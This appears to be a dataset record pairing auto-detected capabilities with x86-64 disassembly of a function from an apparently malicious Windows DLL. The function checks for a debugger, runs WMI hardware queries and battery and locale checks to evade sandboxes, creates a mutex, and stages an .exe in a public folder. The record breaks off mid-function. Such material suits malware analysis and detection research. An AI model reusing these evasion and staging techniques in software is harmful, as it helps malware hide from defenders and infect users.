Function at 0x1800065c0
Capabilities:
Check mutex on windows
Connect to wmi namespace via wbemlocator
Create directory
Create http request
Enumerate gui resources
Get geographical location
Read data from internet
Receive data
Reference wmi statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2038]
mov eax, 0x2110
call fcn.18000ea00
sub rsp, rax
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 0x2000], rax
xor r13d, r13d
lea rdx, [0x18003b54b]
mov dword [rbp + 0xd08], r13d
lea rcx, [rbp + 0xdd0]
movdqa xmm0, xmmword [0x18003bdf0]
mov r12b, r13b
movdqu xmmword [rbp + 0xde0], xmm0
mov qword [rbp + 0xdd0], r13
call fcn.18000b810
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea esi, [r13 + 0x30]
mov rbx, rax
test rax, rax
je 0x1800066f5
lea rcx, [0x18003b7e8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.ZwQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, esi
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0xcb0]
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
js 0x1800066ec
lfence
mov edx, dword [rbp + 0xcb8]
lea rax, [rbp + 0xd50]
add edx, 0x68
mov qword [rbp + 0xd50], r13
lea r9d, [r13 + 2]
mov word [rbp + 0xd04], r13w
lea r8, [rbp + 0xd04]
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1800066ec
cmp qword [rbp + 0xd50], 2
jne 0x1800066ec
cmp word [rbp + 0xd04], 0x70
jne 0x1800066ec
xor ecx, ecx
call fcn.180014800
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov ebx, r13d
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x40], r13
mov edi, 3
mov dword [rsp + 0x38], r13d
or r14, 0xffffffffffffffff
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, r14d
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
lea rax, [rbp + 0xca8]
mov qword [rbp + 0xca8], r13
lea r15d, [rdi - 2]
mov qword [rsp + 0x20], rax
mov r8d, r15d
lea r9, [0x18002f870]
xor edx, edx
lea rcx, [0x18002f860]
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rdx, str.ROOTWMI
mov qword [rbp + 0xc98], r13
lea rcx, [rsp + 0x58]
call fcn.180001d80
mov rdx, qword [rax]
test rdx, rdx
je 0x180006789
mov rdx, qword [rdx]
jmp 0x18000678c
mov rdx, r13
mov rcx, qword [rbp + 0xca8]
lea r8, [rbp + 0xc98]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], r13
xor r8d, r8d
mov qword [rsp + 0x30], r13
mov rax, qword [rcx]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [rax + 0x18]
lea rcx, [rsp + 0x58]
call fcn.180001e88
mov rcx, qword [rbp + 0xc98]
xor r9d, r9d
mov dword [rsp + 0x38], r13d
xor r8d, r8d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], edi
lea edx, [r9 + 0xa]
mov dword [rsp + 0x20], edi
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea rdx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
mov qword [rbp + 0xc90], r13
lea rcx, [rsp + 0x68]
call fcn.180001d80
mov rdi, qword [rax]
test rdi, rdi
je 0x180006817
mov rdi, qword [rdi]
jmp 0x18000681a
mov rdi, r13
lea rdx, [0x18003b85c]
lea rcx, [rsp + 0x60]
call fcn.180001d80
mov rcx, qword [rax]
test rcx, rcx
je 0x180006838
mov rdx, qword [rcx]
jmp 0x18000683b
mov rdx, r13
mov rcx, qword [rbp + 0xc98]
lea r8, [rbp + 0xc90]
mov qword [rsp + 0x28], r8
mov r9d, esi
mov r8, rdi
mov qword [rsp + 0x20], r13
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rsp + 0x60]
call fcn.180001e88
lea rcx, [rsp + 0x68]
call fcn.180001e88
mov rcx, qword [rbp + 0xc90]
mov qword [rbp + 0xca0], r13
mov dword [rbp + 0xd00], r13d
test rcx, rcx
je 0x1800068e5
mov rax, qword [rcx]
lea rdx, [rbp + 0xd00]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xca0]
mov edx, r14d
mov r8d, r15d
call qword [rax + 0x20]
cmp dword [rbp + 0xd00], r13d
je 0x1800068d6
mov rcx, qword [rbp + 0xca0]
add ebx, r15d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xc90]
test rcx, rcx
jne 0x180006890
jmp 0x1800068dd
mov rcx, qword [rbp + 0xc90]
test ebx, ebx
jne 0x180006b40
lea rdx, str.ROOTCIMV2
mov qword [rbp + 0xc98], r13
lea rcx, [rsp + 0x70]
call fcn.180001d80
mov rcx, qword [rax]
test rcx, rcx
je 0x18000690a
mov rdx, qword [rcx]
jmp 0x18000690d
mov rdx, r13
mov rcx, qword [rbp + 0xca8]
lea r8, [rbp + 0xc98]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], r13
xor r8d, r8d
mov qword [rsp + 0x30], r13
mov rax, qword [rcx]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [rax + 0x18]
lea rcx, [rsp + 0x70]
call fcn.180001e88
mov rcx, qword [rbp + 0xc98]
mov eax, 3
mov dword [rsp + 0x38], r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], eax
lea edx, [rax + 7]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea rdx, str.SELECT__FROM_Win32_Fan
mov qword [rbp + 0xc90], r13
lea rcx, [rbp - 0x80]
call fcn.180001d80
mov rdi, qword [rax]
test rdi, rdi
je 0x18000699b
mov rdi, qword [rdi]
jmp 0x18000699e
mov rdi, r13
lea rdx, [0x18003b85c]
lea rcx, [rsp + 0x50]
call fcn.180001d80
mov rcx, qword [rax]
test rcx, rcx
je 0x1800069bc
mov rdx, qword [rcx]
jmp 0x1800069bf
mov rdx, r13
mov rcx, qword [rbp + 0xc98]
lea r8, [rbp + 0xc90]
mov qword [rsp + 0x28], r8
mov r9d, esi
mov r8, rdi
mov qword [rsp + 0x20], r13
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rsp + 0x50]
call fcn.180001e88
lea rcx, [rbp - 0x80]
call fcn.180001e88
mov rcx, qword [rbp + 0xc90]
mov qword [rbp + 0xca0], r13
mov dword [rbp + 0xd00], r13d
test rcx, rcx
je 0x180006a68
mov rax, qword [rcx]
lea rdx, [rbp + 0xd00]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xca0]
mov edx, r14d
mov r8d, r15d
call qword [rax + 0x20]
cmp dword [rbp + 0xd00], r13d
je 0x180006a59
mov rcx, qword [rbp + 0xca0]
add ebx, r15d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xc90]
test rcx, rcx
jne 0x180006a13
jmp 0x180006a60
mov rcx, qword [rbp + 0xc90]
test ebx, ebx
jne 0x180006b40
lea rdx, str.SELECT__FROM_Win32_VoltageProbe
lea rcx, [rsp + 0x78]
call fcn.180001d80
mov rcx, qword [rax]
test rcx, rcx
je 0x180006a86
mov rdi, qword [rcx]
jmp 0x180006a89
mov rdi, r13
lea rdx, [0x18003b85c]
lea rcx, [rbp - 0x78]
call fcn.180001d80
mov rcx, qword [rax]
test rcx, rcx
je 0x180006aa6
mov rdx, qword [rcx]
jmp 0x180006aa9
mov rdx, r13
mov rcx, qword [rbp + 0xc98]
lea r8, [rbp + 0xc90]
mov qword [rsp + 0x28], r8
mov r9d, esi
mov r8, rdi
mov qword [rsp + 0x20], r13
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rcx, [rbp - 0x78]
call fcn.180001e88
lea rcx, [rsp + 0x78]
call fcn.180001e88
mov qword [rbp + 0xca0], r13
mov dword [rbp + 0xd00], r13d
jmp 0x180006b2b
mov rax, qword [rcx]
lea rdx, [rbp + 0xd00]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xca0]
mov edx, r14d
mov r8d, r15d
call qword [rax + 0x20]
cmp dword [rbp + 0xd00], r13d
je 0x180006b39
mov rcx, qword [rbp + 0xca0]
add ebx, r15d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xc90]
test rcx, rcx
jne 0x180006af3
jmp 0x180006b40
mov rcx, qword [rbp + 0xc90]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xc98]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xca8]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
test ebx, ebx
jg 0x180006b91
lea rcx, [rbp + 0xdf0]
call qword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
test eax, eax
je 0x180006b91
mov al, byte [rbp + 0xdf1]
cmp al, 0x80
je 0x180009a51
cmp al, 0xff
je 0x180009a51
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov r9d, 0x55
lea r8, [rbp + 0xf50]
xor ecx, ecx
lea edx, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x180009a51
lea rdx, [0x18003b7c8]
lea rcx, [rbp + 0xf50]
call fcn.1800103c0
test rax, rax
jne 0x180006bec
lea rdx, [0x18003b7d8]
lea rcx, [rbp + 0xf50]
call fcn.1800103c0
test rax, rax
je 0x180009a51
lea rcx, [rbp + 0xe20]
call fcn.1800050ac
lea rcx, [rbp + 0xdb0]
call fcn.18000466c
lea rcx, [rbp + 0xe00]
call fcn.180004964
mov edi, 0xf
mov qword [rbp + 0xd30], r13
lea rdx, str.C:UsersPublicPictures_
mov qword [rbp + 0xd48], rdi
lea rcx, [rbp + 0xd30]
mov qword [rbp + 0xd40], r13
call fcn.18000b810
lea rcx, [rbp + 0x390]
call fcn.180004bb4
lea rcx, str..exe
mov rbx, rax
call fcn.180015ff0
mov r8, rax
lea rdx, str..exe
mov rcx, rbx
call fcn.18000b88c
xorps xmm0, xmm0
mov qword [rbp + 0xd78], r13
lea r8d, [rdi + 0x11]
mov rdx, rax
lea rcx, [rbp + 0xd78]
mov rbx, rax
movdqu xmmword [rbp + 0xd88], xmm0
call fcn.18000fd00
mov qword [rbx + 0x18], rdi
mov esi, 0x10
mov qword [rbx + 0x10], r13
mov edi, 0x1000
mov byte [rbx], r13b
mov rdx, qword [rbp + 0x3a8]
cmp rdx, rsi
jb 0x180006ce5
mov rcx, qword [rbp + 0x390]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x180006ce0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ce0
call fcn.180016ee8
int3
call fcn.18000df00
lea rcx, [rbp + 0x3b0]
call fcn.180004bb4
lea rcx, [0x18003b648]
mov rbx, rax
call fcn.180015ff0
mov r8, rax
lea rdx, [0x18003b648]
mov rcx, rbx
call fcn.18000b88c
xorps xmm0, xmm0
mov qword [rbp + 0xd58], r13
mov r8d, 0x20
lea rcx, [rbp + 0xd58]
mov rdx, rax
mov rbx, rax
movdqu xmmword [rbp + 0xd68], xmm0
call fcn.18000fd00
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
mov rdx, qword [rbp + 0x3c8]
cmp rdx, rsi
jb 0x180006d89
mov rcx, qword [rbp + 0x3b0]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x180006d84
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006d84
call fcn.180016ee8
int3
call fcn.18000df00
cmp qword [rbp + 0xd48], rsi
lea r9, [rbp + 0xd30]
mov rax, qword [rbp + 0xd40]
lea rcx, [rbp + 0xdb0]
cmovae r9, qword [rbp + 0xd30]
cmp qword [rbp + 0xdc8], rsi
mov rdx, qword [rbp + 0xdc0]
cmovae rcx, qword [rbp + 0xdb0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.18000c2f0
xor ecx, ecx
mov edx, r15d
cmp rax, r14
jne 0x1800099dc
lea r8, str.AppGo
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180007ecf
xorps xmm0, xmm0
mov qword [rbp + 0x3d0], r13
movups xmmword [rbp + 0xd98], xmm0
lea rdx, [0x18003b8dc]
xor eax, eax
movdqa xmm0, xmmword [0x18003bdf0]
lea rcx, [rbp + 0x3d0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0xda8], rax
call fcn.18000b810
lea r8, [rbp + 0x3d0]
lea rdx, [rbp + 0xe00]
lea rcx, [rbp + 0xd98]
call fcn.1800043f4
mov rdx, qword [rbp + 0xd98]
lea rcx, [rbp + 0xce0]
mov qword [rbp + 0xce0], r13
mov qword [rbp + 0xcf0], r13
mov qword [rbp + 0xcf8], r13
call fcn.18000b900
lea rcx, [0x18003b8e0]
call fcn.180015ff0
cmp qword [rbp + 0xcf8], rsi
lea rcx, [rbp + 0xce0]
mov rdx, qword [rbp + 0xcf0]
lea r9, [0x18003b8e0]
cmovae rcx, qword [rbp + 0xce0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.18000c2f0
cmp rax, r14
je 0x180006f32
mov r9, rax
lea rdx, [rbp + 0x350]
xor r8d, r8d
lea rcx, [rbp + 0xce0]
call fcn.18000ad18
lea rcx, [rbp + 0xce0]
cmp rcx, rax
je 0x180006ef4
mov r8b, r13b
lea rcx, [rbp + 0xce0]
mov rdx, rax
call fcn.18000b9a4
mov rdx, qword [rbp + 0x368]
cmp rdx, rsi
jb 0x180006f32
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x180006f2d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006f2d
call fcn.180016ee8
int3
call fcn.18000df00
cmp qword [rbp + 0xcf8], rsi
lea rbx, [rbp + 0xce0]
cmovae rbx, qword [rbp + 0xce0]
cmp qword [rbp + 0xcf0], r13
jbe 0x180006fee
lfence
mov r8, qword [rbp + 0xcf0]
mov edx, 0x20
mov rcx, rbx
call fcn.1800106d0
test rax, rax
je 0x180006fee
sub rax, rbx
cmp rax, r14
je 0x180006fee
mov r9, rax
lea rdx, [rbp + 0x3f0]
xor r8d, r8d
lea rcx, [rbp + 0xce0]
call fcn.18000ad18
lea rcx, [rbp + 0xce0]
cmp rcx, rax
je 0x180006fb0
mov r8b, r13b
lea rcx, [rbp + 0xce0]
mov rdx, rax
call fcn.18000b9a4
mov rdx, qword [rbp + 0x408]
cmp rdx, rsi
jb 0x180006fee
mov rcx, qword [rbp + 0x3f0]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x180006fe9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006fe9
call fcn.180016ee8
int3
call fcn.18000df00
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x410]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, r15d
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8e4]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp - 0x70]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 3
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8e8]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x330]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 7
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8ec]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x310]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0xf
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f0]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x2f0]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x1f
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f4]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x2d0]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x3f
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f8]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x2b0]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x7f
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8fc]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x70]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0xff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b900]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x270]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x1ff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b904]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x250]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x3ff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b908]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x230]
dec r8
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x7ff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b90c]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x210]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0xfff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b910]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x1f0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x1fff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b914]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x1d0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x3fff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b918]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x1b0]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x7fff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b91c]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x190]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0xffff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b920]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov r8, qword [rbp + 0xcf0]
lea rdx, [rbp + 0x170]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0xce0]
mov r9, r14
mov ebx, 0x1ffff
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b924]
call fcn.18000bfb4
test al, al
je 0x1800073e1
mov dil, r15b
jmp 0x1800073ea
mov dil, r13b
bt ebx, 0x10
jae 0x18000744b
mov rdx, qword [rbp + 0x188]
btr ebx, 0x10
mov r14d, 0x1000
cmp rdx, rsi
jb 0x180007430
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000742b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x180], r13
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], r13b
jmp 0x180007451
mov r14d, 0x1000
bt ebx, 0xf
jae 0x1800074b0
mov rdx, qword [rbp + 0x1a8]
btr ebx, 0xf
cmp rdx, rsi
jb 0x180007497
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007492
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], r13b
bt ebx, 0xe
jae 0x18000750f
mov rdx, qword [rbp + 0x1c8]
btr ebx, 0xe
cmp rdx, rsi
jb 0x1800074f6
mov rcx, qword [rbp + 0x1b0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800074f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], r13b
bt ebx, 0xd
jae 0x18000756e
mov rdx, qword [rbp + 0x1e8]
btr ebx, 0xd
cmp rdx, rsi
jb 0x180007555
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007550
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r13b
mov r14d, 0x1000
test r14d, ebx
je 0x1800075d2
mov rdx, qword [rbp + 0x208]
btr ebx, 0xc
cmp rdx, rsi
jb 0x1800075b9
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800075b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r13b
bt ebx, 0xb
jae 0x180007631
mov rdx, qword [rbp + 0x228]
btr ebx, 0xb
cmp rdx, rsi
jb 0x180007618
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007613
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r13b
bt ebx, 0xa
jae 0x180007690
mov rdx, qword [rbp + 0x248]
btr ebx, 0xa
cmp rdx, rsi
jb 0x180007677
mov rcx, qword [rbp + 0x230]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007672
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], r13b
bt ebx, 9
jae 0x1800076ef
mov rdx, qword [rbp + 0x268]
btr ebx, 9
cmp rdx, rsi
jb 0x1800076d6
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800076d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], r13b
bt ebx, 8
jae 0x18000774e
mov rdx, qword [rbp + 0x288]
btr ebx, 8
cmp rdx, rsi
jb 0x180007735
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007730
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], r13b
test bl, bl
jns 0x1800077a5
mov rdx, qword [rbp + 0x88]
btr ebx, 7
cmp rdx, rsi
jb 0x18000778f
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000778a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r13b
test bl, 0x40
je 0x180007802
mov rdx, qword [rbp + 0x2c8]
and ebx, 0xffffffbf
cmp rdx, rsi
jb 0x1800077e9
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800077e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], r13b
test bl, 0x20
je 0x18000785f
mov rdx, qword [rbp + 0x2e8]
and ebx, 0xffffffdf
cmp rdx, rsi
jb 0x180007846
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007841
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x2e0], r13
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], r13b
test sil, bl
je 0x1800078bc
mov rdx, qword [rbp + 0x308]
and ebx, 0xffffffef
cmp rdx, rsi
jb 0x1800078a3
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x18000789e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r13b
test bl, 8
je 0x180007919
mov rdx, qword [rbp + 0x328]
and ebx, 0xfffffff7
cmp rdx, rsi
jb 0x180007900
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800078fb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], r13b
test bl, 4
je 0x180007976
mov rdx, qword [rbp + 0x348]
and ebx, 0xfffffffb
cmp rdx, rsi
jb 0x18000795d
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x180007958
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], r13b
test bl, 2
je 0x1800079c0
mov rdx, qword [rbp - 0x58]
and ebx, 0xfffffffd
cmp rdx, rsi
jb 0x1800079b0
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, r14
jb 0x1800079ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800079fb
call fcn.18000df00
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
test r15b, bl
je 0x180007a06
mov rdx, qword [rbp + 0x428]
and ebx, 0xfffffffe
